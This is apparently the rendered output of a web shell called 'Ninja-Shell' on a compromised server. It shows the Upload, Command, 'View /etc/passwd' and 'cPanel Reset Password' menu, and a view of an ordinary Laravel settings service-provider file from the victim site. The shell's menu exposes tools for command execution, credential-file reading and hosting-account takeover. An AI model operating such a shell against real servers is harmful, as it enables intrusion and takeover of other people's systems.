{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: /var//www/bfti-website/app/Providers/BusinessSettingsServiceProvider.php
<?php namespace App\Providers; use Illuminate\Support\ServiceProvider; use App\Models\BusinessSetting; class BusinessSettingsServiceProvider extends ServiceProvider { /** * Bootstrap the application services. * * @return void */ public function boot() { // Retrieve all BusinessSetting records $businessSettings = BusinessSetting::all(); $businessSettings2 = BusinessSetting::all()->pluck('value', 'key'); // Perform operations with $businessSettings as needed $settings = [ 'website_name' => $businessSettings2->get('website_name', 'Default Website Name'), 'website_slogan' => $businessSettings2->get('website_slogan', 'Slogan Goes Here'), 'address' => $businessSettings2->get('address', 'No Address Provided'), 'phone' => $businessSettings2->get('phone', 'No Phone Provided'), 'fax' => $businessSettings2->get('fax', 'No Fax Provided'), 'email' => $businessSettings2->get('email', 'no-reply@example.com'), 'website' => $businessSettings2->get('website', 'https://example.com'), 'longitude' => $businessSettings2->get('longitude', '0.0'), 'latitude' => $businessSettings2->get('latitude', '0.0'), 'map_api_key' => $businessSettings2->get('map_api_key', ''), 'recaptcha_key' => $businessSettings2->get('recaptcha_key', ''), 'recaptcha_secret' => $businessSettings2->get('recaptcha_secret', ''), 'facebook_link' => $businessSettings2->get('facebook_link', ''), 'youtube_link' => $businessSettings2->get('youtube_link', ''), 'twitter_link' => $businessSettings2->get('twitter_link', ''), 'linkedin_link' => $businessSettings2->get('linkedin_link', ''), 'meta_title' => $businessSettings2->get('meta_title', 'Default Meta Title'), 'meta_description' => $businessSettings2->get('meta_description', 'Default Meta Description'), 'keyword' => $businessSettings2->get('keyword', ''), 'author' => $businessSettings2->get('author', 'Default Author'), 'web_mail' => $businessSettings2->get('web_mail', 'no-reply@example.com'), 'career_title' => $businessSettings2->get('career_title', 'Career Opportunities'), 'career_text' => $businessSettings2->get('career_text', 'Join our team!'), 'maintenance_mode' => $businessSettings2->get('maintenance_mode', false), 'logo' => $businessSettings->where('key', 'logo')->first(), 'fav_icon' => $businessSettings->where('key', 'fav_icon')->first(), ]; // Example: Share $settings with all views view()->share('settings', $settings); } /** * Register the application services. * * @return void */ public function register() { // } }
./Ninja\.